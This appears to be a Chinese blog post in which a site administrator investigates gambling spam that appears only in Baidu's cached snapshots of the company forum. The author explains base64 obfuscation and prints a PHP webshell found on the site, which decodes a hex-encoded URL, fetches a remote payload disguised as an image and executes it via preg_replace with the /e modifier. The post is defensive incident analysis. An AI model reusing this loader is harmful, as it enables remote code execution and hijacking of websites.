最近很郁悶,遇到一個很棘手的問題。我們公司有個論壇在百度查看快照信息的時候全部都是博彩信息,但是打開卻無博彩信息顯示。在快照中查看是這樣的
百度快照查看圖:
經過思考,懷疑是網站中有網頁被改動了,在某頁面加了判斷,如果來源為搜索引擎的抓取就顯示博彩信息。但是使用editplus文件搜索如: baidu\spider\http等也無效。通過百度搜索別人也遇到相似的問題,入侵者將要寫入的信息加密,通過通用的關鍵字是搜索不到的。就查找php的加密方法,但然肯定是可以解密的加密方法
1、base64加密
string base64_encode ( string $data )
使用 base64 對 data 進行編碼。
設計此種編碼是為了使二進制數據可以通過非純 8-bit 的傳輸層傳輸,例如電子郵件的主體。
Base64-encoded 數據要比原始數據多占用 33% 左右的空間。
string base64_decode ( string $data [, bool $strict = false ] )
對 base64 編碼的 data 進行解碼。
參數
data -- 編碼過的數據。
strict -- 如果輸入的數據超出了 base64 字母表,則返回 FALSE。
我遇到的就是這種情況
2、使用對稱加密方法
Webshell代碼如下:
1
2
3
4
5
6
7
8
9
|
<?php
error_reporting
(0);
session_start();
header(
"Content-type:text/html;charset=utf-8"
);
if
(
empty
(
$_SESSION
[
'api'
]))
$_SESSION
[
'api'
]=
substr
(
file_get_contents
(
sprintf(
'%s?%s'
,pack(
"H*"
,
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace(
"~(.*)~ies"
,gzuncompress(
$_SESSION
[
'api'
]),null);
?>
|
關鍵看下面這句代碼,
1
|
sprintf(
'%s?%s'
,pack(
"H*"
,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())
|
這里執行之后其實是一張圖片,解密出來的圖片地址如下:
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85